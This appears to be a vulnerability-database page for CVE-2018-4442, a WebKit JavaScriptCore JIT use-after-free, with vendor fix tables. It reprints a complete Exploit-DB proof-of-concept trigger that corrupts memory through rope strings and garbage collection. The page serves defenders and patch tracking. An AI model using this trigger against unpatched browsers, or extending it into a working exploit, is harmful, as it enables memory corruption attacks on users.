CVE-2018-4442
Description
A memory corruption issue was addressed with improved memory handling. This issue affected versions prior to iOS 12.1.1, tvOS 12.1.1, watchOS 5.1.2, Safari 12.0.2, iTunes 12.9.2 for Windows, iCloud for Windows 7.9.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
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Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
WebKit JSC JIT - GetIndexedPropertyStorage Use-After-Free
/*
The doesGC function simply takes a node, and tells if it might cause a garbage collection. This function is used to determine whether to insert write barriers. But it's missing GetIndexedPropertyStorage that can cause a garbage collection via rope strings. As a result, it can lead to UaF.
PoC:
*/
function gc() {
for (let i = 0; i < 10; i++) {
new ArrayBuffer(1024 * 1024 * 10);
}
}
function opt(arr) {
let r = /a/;
let o = {};
arr[0].charAt(0);
arr[1].charAt(0);
arr[2].charAt(0);
arr[3].charAt(0);
arr[4].charAt(0);
arr[5].charAt(0);
arr[6].charAt(0);
arr[7].charAt(0);
arr[8].charAt(0);
arr[8].charAt(0);
arr[9].charAt(0);
o.x = 'a'.match(r);
return o;
}
function main() {
for (let i = 0; i < 10000; i++) {
opt(['a' + i, 'b' + i, 'c' + i, 'd' + i, 'e' + i, 'f' + i, 'g' + i, 'h' + i, 'i' + i, 'j' + i]);
}
let a = 'a'.repeat(1024 * 1024 * 2);
let b = 'a'.repeat(1024 * 1024 * 2);
let arr = [];
for (let i = 0; i < 10; i++) {
arr[i] = a + b;
}
gc();
let o = opt(arr);
gc();
let tmp = [1234];
print(o.x); // 1234
}
main();
OS impact
SUSE Affected 1 release
| Version | Status | Fixed in |
|---|---|---|
| — | Affected | — |
Debian Fixed 5 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 2.22.3-1 |
| sid | Fixed | 2.22.3-1 |
| forky | Fixed | 2.22.3-1 |
| bullseye | Fixed | 2.22.3-1 |
| bookworm | Fixed | 2.22.3-1 |
References
Community-verified mitigations for this CVE will appear above when contributors publish them.
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